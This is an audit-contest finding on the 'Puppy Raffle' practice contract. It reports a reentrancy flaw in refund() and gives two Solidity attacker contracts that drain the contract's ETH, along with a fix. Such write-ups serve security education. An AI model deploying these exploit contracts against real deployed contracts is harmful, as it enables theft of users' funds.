Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy in refund() lets a single player drain the entire contract balance

Description

The intended behavior: a player calls refund(playerIndex) to recover their entrance fee. The contract should mark the slot as refunded and then return the ETH, so each entry is refundable at most once.

The bug: refund() sends the ETH before it clears the player's slot, violating checks-effects-interactions. Because OpenZeppelin's Address.sendValue forwards all remaining gas, a contract caller can re-enter refund() from its receive() while its slot is still set, and repeat the withdrawal until the contract is drained.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
@> payable(msg.sender).sendValue(entranceFee); // interaction BEFORE effect
@> players[playerIndex] = address(0); // state cleared too late
emit RaffleRefunded(playerAddress);
}

Risk

Likelihood: High. Any participant can trigger this with a single refund call from a contract; there are no preconditions beyond entering the raffle once.

Impact: High. The attacker drains every other player's entrance fee in a single transaction, a total loss of all ETH held by the contract.

Proof of Concept

Run forge test --match-test test_H1_reentrancy_drains_contract. Four honest players seed the pot with 4 ETH; the attacker enters with 1 ETH and re-enters refund from its receive(). The contract balance ends at 0 and the attacker holds 5 ETH (its own stake plus all four honest stakes).

contract ReentrancyAttacker {
PuppyRaffle raffle;
uint256 fee;
uint256 idx;
constructor(PuppyRaffle _r) {
raffle = _r;
fee = _r.entranceFee();
}
function attack() external {
address[] memory me = new address[](1);
me[0] = address(this);
raffle.enterRaffle{value: fee}(me);
idx = raffle.getActivePlayerIndex(address(this));
raffle.refund(idx);
}
receive() external payable {
if (address(raffle).balance >= fee) {
raffle.refund(idx);
}
}
}

Recommended Mitigation

Update state before the external call (checks-effects-interactions), and/or add a reentrancy guard.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
+ emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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